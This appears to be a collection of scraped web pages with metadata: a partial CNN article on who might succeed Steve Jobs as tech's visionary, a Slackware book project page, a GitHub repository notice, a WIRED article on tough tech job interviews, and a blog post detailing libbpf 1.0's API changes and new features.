design, the way they did Jobs. Plus, being Apple CEO after Jobs is like being the football coach who follows a retiring Bear Bryant or Vince Lombardi. What were those guys’ names? Exactly. **Jonathan Ive, senior vice president, Apple** **Pros:** When Jobs stepped down, there were many who expected Ive, not Cook, to step up. Ive is senior vice president of industrial design and is believed to be the creative mind behind products from the Macbook Pro to the iPod to the iPad. The London native already has a knighthood, as well as a healthy dose of Jobs’ true-believer passion for the product. **Cons: **Well, he’s not the CEO. (Nor is marketing mastermind Phil Schiller, another name bandied about to replace Jobs). To truly ascend to Jobsian levels, Ive would need to set out on his own – which, at 45, is doable. It’s hard to envision Ive bolting from Apple, where he’s worked since 1992. But, boy, it would be fun to watch. **Marissa Mayer, CEO, Yahoo** **Pros: **If you need proof of how well Google alum Mayer is liked in Silicon Valley, just look at the number of folks she’s been able to lure to join her at a Yahoo that was floundering when she took the reins in July. At Google, where the former engineer was the 20th employee, she’s credited with everything from the clean design of the search page to becoming one of the leading public faces of the tech giant. **Cons: **It looks like a turnaround has begun at Yahoo. But the job’s still a long way from done. If Mayer becomes the face of a dramatic rebirth, she will have accomplished something few predicted. If she doesn’t (the four CEOs before her all fell short), it likely won’t hurt her reputation all that much – but neither will it bump her up to the next level. **Elon Musk, serial entrepreneur** **Pros: **How’s this for an origin story? Musk grew up in South Africa before leaving home at 17, without his parents’ consent, rather than serve a compulsory stint in an army which, at the time, was enforcing the race-based apartheid system. He’d end up in the United States four years later – although he’d already sold his first software, a video game called Blastar, when he was 12. Since then, all he’s done is create publishing software Zip2 (sold to AltaVista for $300 million), co-found PayPal (he owned 11% of its stock when eBay bought it for $1.5 billion) and help create Tesla Motors, makers of the first commercial electric car. Oh, wait … he also runs SpaceX, a company working on space exploration. Director Jon Favreau says Musk was his inspiration for Robert Downey Jr.’s Tony Stark character in the “Iron Man” movies. “His ambitions are so huge,” Kahney said. “He’s definitely a ballsy character. And he’s a good leader, like Jobs. He’s surrounded himself with good people.” **Cons: **With the exception of Tesla, none of Musk’s projects, so far, have directly involved consumer products. Tens of millions of people had something Jobs made in their pockets, on their desks or piping music into their ears. Among the public, Musk may be less well-known than all of the names above – at least for now. But, at 41, he’s got time to change that and it would be foolish to bet against him. **Seth Priebatsch, CEO, SCVNGR, LevelUp** **Pros:** Who? Priebatsch is the wild card on this list. But consider him the representative of a new generation of young, creative tech “makers” who could ascend to loftier heights in the years, or decades, to come. At 22, Priebatsch’s SCVNGR raised more than $20 million in funding. He founded his first Web company at 12 and has moved on to start LevelUp, a mobile-payments system that’s also raked in millions from investors. He got rock-star treatment for a speech he gave last year at South by Southwest Interactive. Plus, he’s already cultivated a Jobs-like signature fashion statement – his trademark orange sunglasses and shirts. **Cons:** In the startup world, for every success story, there are countless washouts. Not every young turk even wants to be another Jobs, and not every killer app has the potential to make millions, or billions, of dollars – even when they’re well-liked and widely used. *Good or bad, what lessons did you learn from Jobs? Share your responses in the comments below, or join the conversation on Twitter using #stevejobstaughtme.* CNN’s Brandon Griggs contributed to this story.

It’s a loaded question, one with no clear answer. But in the year since Apple’s co-founder and visionary CEO died, it’s been asked in tech circles over and over:

2024-10-12 00:00:00

2012-10-02 00:00:00

article

cnn.com

CNN

http://www.slackbook.org/

The Revised Slackware Book Project

We're progressing on the new slackbook and have finally settled on a license, the Creative Commons Attribution Share and Share-Alike license. You can find a copy of it in the COPYING file once you've pulled our latest git tree. Additionally, the beta has been updated. Feel free to browse it and send in any patches. In order to tide you over a little bit and to solicit feedback on improvements from the community, I've posted a beta online here. Please send all comments, criticisms, suggestions, fixes, additions, and the like to me via e-mail. The book currently does not have an official license, but will likely be CC Non-commercial (with a commercial exception for Slackware Inc. of course). If you want to take a look at the Docbook source code and send in some patches, you can grab the latest version from git with: darkstar:~$ git clone git://slackbook.org/slackbook This website is the home of the Revised Slackware Book Project (the project). The regulars on alt.os.linux.slackware (a newsgroup) have been discussing the revision of "The Book", otherwise known as "Slackware Linux Essentials - The Official Guide To Slackware Linux", created by David Cantrell, Logan Johnson & Chris Lumens. This website is the result of that project. So far it's been a long and grueling project with lots of struggles as we all have jobs and other volunteer work, and let's face it, documentation isn't fun. :^) All the content here is licensed with the Gnu General Public License version 2. Should you be willing to contribute to this endeavor whether with your own personal writing or by pointing out errors and corrections, you can send me an e-mail at the address __alan at lizella dot net__ (e-mail munged and not linked because spammers have been harvesting e-mails from here for some time). Linux is a registered trademark of Linus Torvalds. Slackware is a registered trademark of Slackware Linux, Inc. and Patrick Volkerding.

2024-10-12 00:00:00

2012-08-17 00:00:00

https://medium.com/apollo-stack/tutorial-graphql-input-types-and-client-caching-f11fa0421cfd

https://github.com/schacon/showoff

GitHub - schacon/showoff: moved to puppetlabs/showoff!

Schacon

You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert Puppetlabs is now maintaining Showoff. I keep this repo here only to preserve the issues and whatnot. Puppetlabs maintains the Gem and is now the parent of this network.

moved to puppetlabs/showoff! Contribute to schacon/showoff development by creating an account on GitHub.

2024-10-12 00:00:00

2010-01-06 00:00:00

https://opengraph.githubassets.com/6699dd66bebe0e35b92bd61753798fe7c43d2abac26367fb9e43e5b0aedf3aa7/schacon/showoff

object

github.com

GitHub

https://www.wired.com/story/why-tech-job-interviews-became-such-a-nightmare/

Why Tech Job Interviews Became Such a Nightmare

Lauren Goode

After a WIRED story last month described the sometimes ludicrous challenges heaped on tech workers applying for engineering jobs, some readers shared their own experiences with excessive test assignments and interviews. The responses in social posts and direct messages to WIRED underscore how the tech industry is undergoing a cultural change—and a maturation. The companies of the colloquial Silicon Valley are overcorrecting for pandemic-era hiring, adjusting to high interest rates, and yielding to shareholder pressure to make their businesses more efficient. The independent job tracker Layoffs.fyi estimates that more than 400,000 tech jobs have been shed since the start of 2022. In the past two weeks alone, Amazon, Cisco, Expedia Group, Rivian, and the dating app Bumble announced more job cuts. Broadly, the US job market is still strong, with the unemployment rate at a low 3.7 percent. Tech sector employment is tighter still, with industry group CompTIA calculating it as 2.3 percent based on US government data. But the layoffs have rattled an entire industry of people who for years fed the promises of growth and progress. As a former Google executive told WIRED: “The balance of power has shifted back to employers, which has resulted in hiring getting tougher.” Data from a startup that helps job-seeking coders suggests that one tech company in particular, Meta, has been using its moment of leverage for aggressive salary negotiation tactics—although the company says its practices are fair. And hiring experts warn that companies using laborious assignments and hardball tactics in recruitment could be counterproductive, by deterring strong candidates and adding new biases to the process. John Moore, a technical curriculum developer and instructional designer, wrote in to say that it’s not just software engineers or programmers who are facing days-long homework assignments for job interviews. “These ‘prompts,’ as they are euphemistically called, are no joke—they are like work projects. It’s like being on *American Idol* trying to land a job in the tech industry in 2024.” Demetrios C., a longtime software engineer, wrote to say that he doesn’t believe being asked to cobble together a complete app during the hiring process was too tall of an ask. (This was one of the assignments a coder cited in WIRED’s previous story on hiring.) However, he agrees that companies are taking advantage of the recent waves of layoffs to be extra diligent about who they hire. Now in a managerial role, C. says he sometimes has to plow through 80 to 100 resumes and interviews to find one really good senior-level candidate. “This is what companies are looking for these days (best keyboard bang for the buck) and I can only imagine the numbers are worse than ever (what with fake and bloated résumés, recruiting waste and abuse, and AI),” he says. Engineer Marc Love wrote on Threads, “It’s ridiculous. I get that things are competitive and that finding work is going to be difficult, but a lot of companies aren’t even treating candidates with basic common courtesy and respect like timely and clear communication.” Dan Nguyen, a data scientist, Threaded that he is less bothered by the stiff competition for jobs right now than what he sees as rudeness from potential employers. “The table will turn at some point. What is not ok is some people behave badly and are just rude because they think they have more of an upper hand in this brief moment.” Sasha Luccioni, an AI researcher in Montreal, responded to WIRED's story to say it was “10,000 percent true!” She added that over-the-top interviews are a long-established problem in parts of the industry. During a past job search, she tweeted, one Big Tech company “made me do *12* interviews and a take-home assignment.” (Luccioni declined to say which company put her through that ordeal.) What feels like diligence to hiring managers under pressure can seem like unfairness to job candidates. Interviewing.io, a testing platform where software engineers can hone their skills in mock job interviews, released a report this week alleging that Meta has recently been using questionable negotiation tactics with candidates who make it through the interview gauntlet. Aline Lerner, Interviewing.io founder and CEO, says that out of six Big Tech firms—Google, Meta, Amazon, Apple, Microsoft, and Netflix—Meta has had the greatest uptick in hiring over the past 12 months, despite making contemporaneous layoffs. This also gives Meta unique leverage over interview candidates, who are unlikely to have competing offers from other giants. Lerner says she evaluated 20 interview offers that Interviewing.io clients received from Meta over the past several months, and found that the company was often “down-leveling” engineering candidates by offering a lower-ranked position than a person originally interviewed for. She also says Meta has been offering engineers salaries as much as $50,000 below the average total compensation levels for similar jobs at other companies. A job candidate has a decent chance of negotiating for more if they have competing job offers, but those offers are hard to come by in a tight tech market. “This was such a stark pattern,” Lerner tells WIRED, referring to the low-ball offers. “I was initially going to send this guide to just our users but then thought the broader engineering community would get value out of it.” On a recent earnings call, Meta CEO Mark Zuckerberg said the company has a backlog of positions to fill from last year, and that it plans to swap out certain job types for others this year. Although it has laid off tens of thousands of workers since the end of 2022, the company has indicated that its compensation philosophy and its compensation bands—salary ranges for different roles—haven’t changed in recent years. Meta spokesperson Stacey Yip says the company strives to be fair and equitable to every job candidate. “Our hiring philosophy allows us to evaluate individuals based on their potential impact across various teams and match each candidate with a role and level that aligns with their skill set and career aspirations,” she says. Yip declined to respond to the claim that it will sometimes offer engineering salaries $50,000 below what might be expected. Amanda Richardson, CEO of CoderPad, a platform used by hiring managers to assess coding skills, says tech companies could make life easier for both job candidates and hiring managers by questioning the recent industry-wide shift to tougher assessments. Asking more of candidates can end up wasting time on both sides, she says, and exclude strong potential hires. “You have to be mindful of the bias that can creep into the interview process,” says Richardson, whose clients at CoderPad have included Spotify, LinkedIn, and Lyft. “If you establish a process that’s a 12-hour take-home test, you are automatically filtering out for people who have 12 hours to complete a take-home test. As a parent with two kids, that would be hard for me.” It could also exclude some very talented coders. CoderPad’s clients are strongly encouraged to limit take-home tests to between 90 minutes and two hours as a result. Richardson also encourages hiring and engineering managers to test candidates on collaborative problems during live-coding tests, instead of simply observing how an engineer is working alone. That helps test what it would be like to actually work together if that person joined the company. And rather than ask a candidate to build a sample product or solve a problem dreamed up just for the interview, Richardson suggests presenting real problems that the company’s internal team has already solved. “That way, when the candidate presents an idea, you can fast-forward to talking about the complexities of it,” she says. Richardson says there has been some uptake of her suggestions, but mostly by smaller companies or those outside of the core software business that are still jousting for the technical talent—industries like retail, manufacturing, biotech, and financial services. Tech interviewing is far from “fixed,” but she thinks both job candidates and employers stand to benefit from better practices—ones that overcome the “byzantine, onerous interview process, and get the right candidate.”

Rising interest rates led tech companies to become more demanding of potential hires. From lowball offers to endless interviews, it’s tough out there for coders seeking jobs.

2024-10-12 00:00:00

2024-03-04 00:00:00

article

wired.com

WIRED

https://nakryiko.com/posts/libbpf-v1/

Journey to libbpf 1.0

# Journey to libbpf 1.0 ## Libbpf 1.0 release is here! It has been a pretty long journey to get to libbpf 1.0, so to commemorate this event I decided to write a post that would highlight main features and API changes (especially breaking ones) and show large amount of work done by libbpf community that went into improved usability and robustness of libbpf 1.0. The idea to clean up and future-proof and shed some organically grown over time cruft was born almost 1.5 years ago. At that time libbpf was in active development for a while already and all the main conventions and concepts on how to structure and work with BPF programs and maps, collectively grouped into "BPF objects", were more or less formulated and stabilized, so it felt like a good time to start cleaning up and setting up a good base for the future without dragging along suboptimal early decisions. The journey started with public discussion on what should be changed and dropped from libbpf APIs to improve library's usability and long term maintainability. The resulting plan for all the backwards-incompatible changes was recorded in "Libbpf: the road to v1.0" wiki page, initial 46 tracking issues were filed, and since then libbpf community have been diligently working towards libbpf 1.0 release. During this time, libbpf went through five minor version releases (v0.4 – v0.8). We've developed a transitioning plan and mechanisms for early adoption of new (stricter) behaviors, deprecated lots of APIs, and for many of those we added better and cleaner alternatives. But it wasn't just about removing stuff. A lot of new features were implemented and added, closing some of the long standing gaps in functionality (e.g., as compared to BCC), making many typical scenarios simpler for end users, as well as adding enough control and flexibility to support more advanced scenarios. A lot of work went into helping users to deal with unavoidable differences between different kernel versions, Clang versions, and sometimes even special Linux distro quirks. Whenever possible this was done in a completely transparent and robust way to free end users from such distracting details. We also expanded and improved support for various CPU architectures beyond the most popular and actively used in production x86-64 (amd64) architecture. Of course, lots of bugs were reported and fixed by BPF community as we went along, together making a better BPF loader library for everyone. Lastly, we've started an effort of improving libbpf documentation. Automated pipeline was setup and we now host libbpf docs here. This is an ongoing effort and could always use more active contributions, of course. I'm sure with time and community effort we'll get to the point where libbpf documentation will be exemplary and a self-sufficient way for BPF newbies to start in an exciting BPF world. But while we are working towards that, we've also started a companion libbpf-bootstrap repository with simple and clean examples of using libbpf to build BPF applications of various kinds, which seem to be quite popular with users. Libbpf 1.0 marks the release in which all the deprecated APIs and features are physically removed from the code base and new stricter behaviors are mandatory and not an opt-in anymore. This both signifies maturity of libbpf and sets it up for better future functionality with less maintenance burden for future backwards-compatible v1.x libbpf versions. Oh, and, as you might have noticed already, libbpf now has its own logo to give the project a bit more personality! I hope you like it! On behalf of libbpf project I'd like to thank all the contributors to the overall **libbpf ecosystem**, which, besides *libbpf* itself, includes also: - BPF selftests; - BPF CI and related infrastructure; - bpftool; - libbpf-bootstrap; - libbpf-tools project of many libbpf-based observability tools, inspiring multitude of libbpf features; - libbpf-rs Rust library companion to libbpf; - libbpf-sys Rust low-level bindings. **Thanks a lot for your continuing help and contributions, without which libbpf wouldn't be were it is today!** To make this not just a celebratory post, in the rest of it I'll try to describe major breaking changes users should be aware of and summarize various new additions to libbpf functionality. Separately, I'll try to highlight libbpf functionality that most people might not be aware of, because it generally does it's job very well and stays out of the way, shielding BPF users from pain or handling various quirks of kernels, compilers, and Linux distros. This is not intended as an exhaustive list of features and changes, it's just things I chose to highlight, so please don't be offended if I missed or skipped a favorite feature of yours. ## Breaking changes ### Error reporting streamlining Libbpf started out as internal Linux kernel project and inherited some of kernel-specific traits and conventions. One of the most prominent and pervasive throughout API was a convention to return error code embedded into the pointer. Almost all pointer-returning APIs in libbpf on failure would return error code (one of many `-Exxx` values) encoded as a pointer. And while convenient for those in the know, it was way too easy to forget about this and perform natural but incorrect `NULL` error check. For integer-returning APIs, the situation with returning errors wasn't completely straightforward as well. Some APIs would return `-1` on error and set `errno` to actual `Exxx` error code, just like typical `libc` API would do. Other APIs would return `-Exxx` directly as return value, usually not caring about setting `errno` at all. And what's worse, some APIs did both depending on specific errors. Quite a mess, indeed. Libbpf 1.0 breaks apart from *internal kernel convention* of encoding error code in pointers and sets up clear and consistently followed error reporting rules across any API: - any pointer-returning API returns `NULL` on error, and sets`errno` to actual (positive)`Exxx` error code; - any other API that might fail returns (negative) `-Exxx` error code directly as an`int` result**and**sets (positive)`errno` to`Exxx` . This allows to consistently rely on `errno` for extracting error code across any type of API. It also makes an intuitive and natural `NULL` check *safe and correct*. And for integer-returning API, user can directly capture `-Exxx` error code from return result (so no more useless `-1` error codes, confusingly translated as `-EPERM` ) and not be too careful about capturing and not clobbering `errno` . Note also, that any destructor-like API in libbpf (e.g., `bpf_object__close ()` , `btf__free()` , etc) always safely accepts `NULL` pointers, so you don't need to guard them with extra `NULL` checks. It's a small, but nice, usability improvement that adds up in a big code base. ### BPF program SEC() annotation streamlining Libbpf expects BPF programs to be annotated with `SEC()` macro, where string argument passed into `SEC()` determines BPF program type and, optionally, additional attach parameters, like kernel function name to attach to for kprobe programs or hook type for cgroup programs. This `SEC()` definition ends up being recorded as ELF *section name*. Initially libbpf only allowed one BPF program for each unique `SEC()` definition, so you couldn't have two BPF programs with, say, `SEC("xdp")` annotation. Which led to two undesirable consequences: - such section names were used as *unique identifiers*for BPF programs. This convention made it all the way to generic tools like`bpftool` and`iproute2` which expected section names to identify specific BPF program out of potentially many programs in a single BPF ELF object file; - people started adding random suffixes (e.g., `SEC("xdp_my_prog1")` ) to create a unique identifier both as a convenience and as a work around for the single BPF program per`SEC()` limitation. Both were problematic. First, since those ancient times libbpf started supporting as many BPF programs with the same `SEC()` annotation as user needs. Second, non-uniform use of `SEC()` annotation was harming overall ecosystem, especially confusing newcomers as to what exact `SEC()` annotation is correct and appropriate. *Libbpf 1.0 is breaking with this legacy and sloppy approach*. Libbpf normalized a set of supported `SEC()` annotations and doesn't support random suffixes anymore. For the above example, no matter how many XDP programs one has in BPF object file, all of them should be annotated strictly as `SEC("xdp")` . Not `SEC("xdp1")` , or `SEC("xdp_prog1")` , or `SEC("xdp/prog1")` . As for unique identification of BPF program for generic tools, **please use BPF program name (i.e., its C function name) to identify BPF programs uniquely,** if your application or tool isn't doing that already. Note also, that as of libbpf 1.0, BPF program *name* is used when **pinning BPF program**, while previously BPF program's (non-unique) *section name* was used. This is another breaking change to keep in mind, if you rely on libbpf's pinning logic. Another important change related to `SEC()` handling is that for a lot of BPF programs that used to require to always specify attach target (e.g., `SEC("kprobe/__x64_sys_bpf")` ), this requirement has been lifted and it's completely supported to specify just BPF program **type** (i.e., `SEC("kprobe")` ). In the latter case, BPF program auto-attachment through BPF skeleton or through `bpf_program__attach()` won't be supported, but otherwise BPF program will be marked with correct program type and loaded into kernel during BPF object loading phase. ### API extensibility through OPTS framework Libbpf 1.0 got rid of a bunch of APIs that were not extendable without breaking backwards (i.e, *newer application* dynamically linked against *older libbpf*) and/or forward (i.e., *older application* dynamically linked against *newer libbpf*) compatibility. Such APIs historically were using fixed-sized structs to pass extra arguments, but we've learned the hard way that this approach doesn't work well. To solve these problems, we've developed a so-called `OPTS` -based framework, and a lot of APIs (e.g., `bpf_object__open_file()` ) accept optional `struct xxx_opts` arguments. Use of `OPTS` approach lets libbpf deal with backwards and forward compatibility transparently without relying on cumbersome complexities of ELF symbol versioning or defining entire families of very similar APIs, each differing just slightly from each other to accommodate some new optional argument. Please utilize `LIBBPF_OPTS()` macro to simplify instantiation of such `OPTS` structs, e.g.: ``` char log_buf[64 * 1024]; LIBBPF_OPTS(bpf_object_open_opts, opts, .kernel_log_buf = log_buf, .kernel_log_size = sizeof(log_buf), .kernel_log_level = 1, ); struct bpf_object *obj; obj = bpf_object__open_file("/path/to/file.bpf.o", &opts); if (!obj) /* error handling */ ... ``` ### Other API clean ups, renames, removals, etc We used libbpf 1.0 milestone to clean up libbpf API surface significantly. We removed, renamed, or consolidates a good chunk of APIs: - AF_XDP-related parts of libbpf (APIs from `xsk.h` ) were consolidated into libxdp. - We streamlined naming for getter and setter high-level APIs: getters don't add "get_" prefix (e.g., `bpf_program__type()` ), while setters always have "set_" in the name (e.g.,`bpf_program__set_type()` ). - Entire family of low-level APIs for BPF program loading were consolidated into a single extensible `bpf_prog_load()` API; similarly for BPF map creation,`bpf_map_create()` API superseded a small zoo of six very similar APIs; similar sort of API normalization was done for other APIs. - Support for legacy BPF map definitions in `SEC("maps")` was completely dropped. It was original and limited way to define BPF maps with no clean mechanism to provide additional key and value BTF type information associated with BPF map. We've long since switched to using BTF-defined map definitions defined in`SEC(".maps")` , please use them instead, if you haven't done so already. - A whole set of very niche and specialized APIs that were only used by a handful of applications (like Linux's `perf` tool, or BCC framework) were moved or removed, giving more freedom to change libbpf internals. In turn, libbpf gained more general APIs that allow to implement complex scenarios more generically (e.g., support for custom`SEC()` annotations) and covered existing niche use cases well. Typically, users are unlikely to ever notice this, but if you find some APIs missing, please reach out at BPF mailing list. To familiarize yourself with finalized set of libbpf 1.0 APIs, please consult the following public headers: - user-space APIs: - BPF-side APIs: ## Graceful degradation and taking care of kernel differences While new features are exciting and most visible, I think it's important to appreciate small and mostly invisible things that libbpf is doing for the user to simplify their life and hide as many different quirks and limitations of different (especially older) kernel and Clang versions (and even some gotchas of particular Linux distros), as possible. It is unsung part of libbpf and a lot of thought and collective work went into making sure that things that can be abstracted away and handled transparently without user involvement "just work". Here's a list of just some of the stuff that libbpf is doing on behalf of users, so they don't have to. `bpf_probe_read_{kernel, user}()` is automatically "downgraded" to`bpf_probe_read()` on old kernels, so user should freely use`bpf_probe_read_kernel()` in their BPF code and not worry about backwards compatibility problems.`bpf_printk()` macro is conservatively using`bpf_trace_printk()` BPF helper, supported since oldest kernels, if possible, but automatically and transparently switching to newer and more powerful`bpf_trace_vprintk()` BPF helper, available only on newer kernels, if user needs to log more arguments, so same`bpf_printk()` macro can be used universally with largest possible backwards kernel compatibility.- libbpf will automatically set `RLIMIT_MEMLOCK` to infinity (user can override the limit), but only if kernel is old enough to require that. On newer kernels,`RLIMIT_MEMLOCK` is not used and so doesn't have to be increased to do anything useful with BPF.`RLIMIT_MEMLOCK` has been a bump in the road for lots of BPF newbies, and now it's taken care of by libbpf automatically (and only if necessary). - libbpf is taking care of automatically "sanitizing" BPF object's BTF information so it's not rejected by older kernels. User doesn't have to worry about which BTF features kernel and compiler support and whether they are compatible. BTF will be automatically sanitized to satisfy Linux kernel's level of BTF support. One less thing to worry about. - libbpf APIs overall are smart enough to drop optional features, if kernel is too old to support them and features themselves are not critically important for correct functioning of BPF applications (e.g., BPF program/map name for `bpf_prog_load()` /`bpf_map_create()` ; optional BTF/BTF.ext data associated with BPF program/map). - libbpf will post-process BPF verifier logs to augment it with more useful and relevant information for well-known and common situations (e.g., extending verifier log with information about failed BPF CO-RE relocation). This significantly improves usefulness of verification failure log. - for cases when it's safe to do so, libbpf will auto-adjust BPF map parameters, if necessary. E.g., BPF ringbuf size will be rounded up to a proper multiple of page size on host system. Or key/value BTF type information will be dropped, if libbpf believes that specific BPF map doesn't support specifying BTF type ID; it will still calculate and provide correct key/value sizes, though. - on BPF side, macros like `BPF_KPROBE()` ,`BPF_PROG()` ,`BPF_USDT()` ,`BPF_KSYSCALL()` were developed to make it much easier and ergonomic to write tracing BPF programs. Use of such macro both improves code readability and maintainability, as well as hides some of the nasty kernel- and architecture-specific quirks, so that typical user doesn't have to care or know about them for typical use cases. This is just a few examples of what goes on behind the scenes in libbpf in the name of better user experience. Of course, not all kernel- or architecture-specific differences can be hidden and handled automatically, but whenever it can be, libbpf strives to do it transparently, efficiently *and* correctly. ## New functionality Libbpf is developed in lockstep with Linux kernel BPF support. This was the case before and is going to be the case going forward. Any new BPF kernel feature gets necessary APIs and overall support in libbpf at the time of that feature landing upstream into Linux kernel. This means features like unstable BPF helpers (exposed as `extern __ksym` functions), safe typed kernel pointers (`__kptr` and `__kptr_ref` ), and lots of other features are ready to be used through libbpf from the day they are accepted into the kernel, no matter how bleeding edge they are. This is par for the course for libbpf, so instead of concentrating on all the new kernel functionality supported and exposed through libbpf, I'll highlight new functionality that required additional purely user-space code to be added on the way to libbpf 1.0. ### C language constructs support Libbpf has come a long way since its early days in terms of supporting all the typical C language features one would expect from user-space code base: - There are no restrictions on number of BPF programs and their `SEC ()` annotation uniqueness. - Users don't have to `__always_inline` their C functions (a.k.a. BPF subprograms) anymore, libbpf is smart enough to figure out which ones are used by each BPF program and perform code transformations to make sure BPF verifier gets correct final BPF assembly instructions. - C global variables are supported as well and provide a tremendous usability improvements for a lot of typical use cases (e.g., configuring BPF program logic from user-space; see below on BPF skeleton as well); **Static linking of object files is now supported.**There is no more restrictions on keeping entire BPF-side logic within a single`.bpf.c` file. Libbpf implements BPF static linker functionality and allows to compile each individual`.bpf.c` file separately and then link them all together into a final`.bpf.o` file. Static linking is normally performed through`bpftool gen object` command, but it is also available as public APIs for programmatic use in more advanced applications. Static linking means that**BPF static libraries**are now possible and supported! All this allows to structure user's application in the way that makes sense for long-term maintainability and code reuse, instead of cramming all the code into single text file (even if through`#include` -ing`.c` files as if they were C headers). This also means`extern` subprograms, maps, and variables declarations are supported and are resolved as one'd expect with usual user-space C application. Beyond that, BPF skeleton improves logistics of deploying, loading and interacting with BPF ELF object files. BPF skeleton allows to embed final BPF object file for ease of distribution, load it at runtime, set and configure all the programs, maps, *and global variables* from user-space conveniently to prepare BPF object for loading it into the kernel, and afterward to keep interfacing with it at runtime. If you haven't tried BPF skeleton, please consider giving it a go, it quite profoundly changes how one structures and interacts with their BPF-side functionality in BPF application. It's been a gradual work towards supporting all the typical constructs of user-space C code and by libbpf 1.0 there shouldn't be many things that can't be expressed with BPF-side C, as long as it is supported by BPF verifier. ### Improved customizability by user Lots of small features and APIs were added and implemented to allow users more precise control over which parts of their BPF applications are loaded (for BPF programs) or created (for BPF maps). With the use of `SEC("?...")` pattern it's possible to opt-out from auto-loading BPF program declaratively in BPF-side C code. Libbpf also provides equivalent programmatic controls with `bpf_program__set_autoload()` API. For BPF maps, there is equivalent `bpf_map__set_autocreate()` API to disable automatic creation of BPF map, if that's undesirable at particular host system. And with `bpf_program__set_autoattach()` it's possible to further control which BPF programs will be automatically attached by BPF skeleton logic, at a granular level. Look for all the getters and setters for `bpf_object` , `bpf_program` , and `bpf_map` to see what else can be tuned and adjusted at runtime to implement the most portable BPF applications possible. To improve debuggability, we've also added ability to flexibly capture BPF verifier log into user-provided log buffers the help of `kernel_log_buf` , `kernel_log_size` , and `kernel_log_level` open options, passed into `bpf_object__open_file()` and `bpf_object__open_mem()` . To get even more control, each BPF program's log buffer can be set and retrieved with `bpf_program__[set_]log_buf()` and `bpf_program__[set_]log_level()` APIs. This control of BPF verifier log output comes very handy during active development and troubleshooting. As another example of libbpf allowing more control and customizability, libbpf now supports defining custom `SEC()` handler callbacks to implement more advanced application-specific BPF program loading scenarios. As a proof of concept, this was used by `perf` application to support their highly-specialized (and not supported by libbpf 1.0) way of defining custom tracing BPF programs. This functionality is clearly for advanced users, but it's good to have it when the need comes. ### Tracing support improvements Using BPF for tracing kernel and user-space functionality is one of the main BPF and libbpf use cases. Libbpf has significantly boosted its tracing support since its early days. **USDT tracing support.** A long-standing feature request for a while was ability to trace USDT (User Statically-Defined Tracing) probes with libbpf. This is now possible and is an integral part of libbpf, adding support for `SEC("usdt")` -annotated BPF programs. Check BPF-side API, and also note `BPF_USDT()` macro which allows to declaratively define expected USDT arguments for ease of use and better readability. Make sure to check a simple USDT BPF example from libbpf-bootstrap (usdt.c and usdt.bpf.c). Furthermore, thanks to the community, libbpf has support for *five* CPU architectures from day one: - x86-64 (amd64); - x86 (i386); - s390x; - ARM64 (aarch64); - RISC V (riscv). **Improved old kernel support.** Libbpf gained support for attaching kprobes, uprobes, and tracepoint on much older kernels, falling back from more modern and preferred `perf_event_open()` -based attachment mechanism, to older tracefs-based one. All these details are transparent to user and are hidden behind standard `bpf_link` interface. Just make sure to call `bpf_link__destroy()` to detach and clean up the system. **Syscall tracing support.** Tracing kernel syscalls are trickier than a typical kernel function due to differences between host architectures and kernel versions, as the exact naming of kernel functions and use of a syscall wrapper mechanism (see `CONFIG_ARCH_HAS_SYSCALL_WRAPPER` if you are curious). Instead of expecting users to figure all this out (e.g., is it `__x64_sys_close` or `__se_sys_close` ? Is `PT_REGS_SYSCALL_REGS()` indirection necessary or not?), libbpf now supports special `SEC("ksyscall/<syscall>")` (and corresponding `SEC("kretsyscall")` for retprobes) BPF programs. In a combination with `BPF_KSYSCALL()` macro this allows to trace syscalls much more easily. There are various advanced corner cases which still require user care, though, so please see documentation for `bpf_program__attach_ksyscall()` API for more details. But common scenarios are covered and well supported. **Improved uprobes.** User-space tracing (uprobes) with libbpf used to require user to do pretty much all the hard work themselves: figuring out exact binary paths, calculating function offsets within target process, manually attaching BPF programs, etc. Not anymore! Libbpf now supports specifying target function by name and will do all the necessary calculations automatically. Additionally, libbpf is smart enough to figure out absolute path to system-wide libraries and binaries, so just annotating your BPF uprobe program as `SEC("uprobe/libc.so.6:malloc")` will allow to auto-attach to `malloc()` in your system's C runtime library. You still get full control, if you need to, of course, with `bpf_program__attach_uprobe()` API. Check uprobe example in libbpf-bootstrap (uprobe.bpf.c and uprobe.c). **Expanded set of supported architectures for kprobes** Thanks to community expertise, libbpf supports quite a variety of different CPU architectures when it comes to low-level tracing and fetching kernel function arguments. For kprobes, here's the current list of architectures libbpf supports and for which it provides tracing helpers: - x86-64 (amd64); - x86 (i386); - arm64 (aarch64); - arm; - s390x; - mips; - riscv; - powerpc; - sparc; - arc. ### Networking support improvements While tracing is perhaps the area that got the biggest boost in new features, BPF networking support wasn't forgotten either. Libbpf now provides its own dedicated API for creating TC (Traffic Control) hooks and attaching BPF programs to them. Previously this was only possible through either shelling out to external `iproute2` tool or implementing custom netlink-based functionality on your own. Both can be a significant burden for BPF networking applications. Now, with `bpf_tc_hook_create()` , `bpf_tc_hook_destroy()` , `bpf_tc_attach()` , `bpf_tc_detach()` , and `bpf_tc_query()` APIs there is no need to take extra dependency on `iproute2` just to attach BPF TC programs. All the batteries are included with libbpf. Similar in naming and spirit `bpf_xdp_attach()` , `bpf_xdp_detach()` , and `bpf_xdp_query()` APIs abstract away netlink-based XDP attachment details. Note that there is also a safer-by-default alternative `bpf_link` -based XDP attachment API, `bpf_program__attach_xdp()` , which is a preferred way of performing XDP attachment on newer kernels. ## Summary It's been a long journey for libbpf to get to 1.0, but it was worth it. By taking time to get here, with community help and involvement, we got more well thought out, user friendly, and full-featured library. libbpf 1.0 now provides a battle-tested foundation for building any kind of BPF application. It also sets a good base for future libbpf releases with more exciting functionality while backwards compatibility across minor version releases, all while keeping maintainability in focus. A big **"Thank you!"** goes to *hundreds* of contributors and bug reporters across entire **libbpf family of projects** for all your work and support! Congratulations on the long-awaited v1.0!

The road to libbpf 1.0 was long, but we've finally arrived! What's new in libbpf 1.0. Main breaking changes. New and exciting features. And great lengths libbpf goes to to ensure best user experience when dealing with a complicated world of BPF.

2024-10-12 00:00:00

2022-08-22 00:00:00

http://www.newtechusa.com/ppi/talent.asp

http://github.com/deanwampler/Presentations/raw/master/akka-intro/The%20Akka%20Framework.pdf

http://blogs.zdnet.com/Stewart/?p=335

https://blog.meadsteve.dev/docker/2022/09/29/docker-build-caching/

Using a docker registry as a distributed layer cache for CI

Steve Brazier

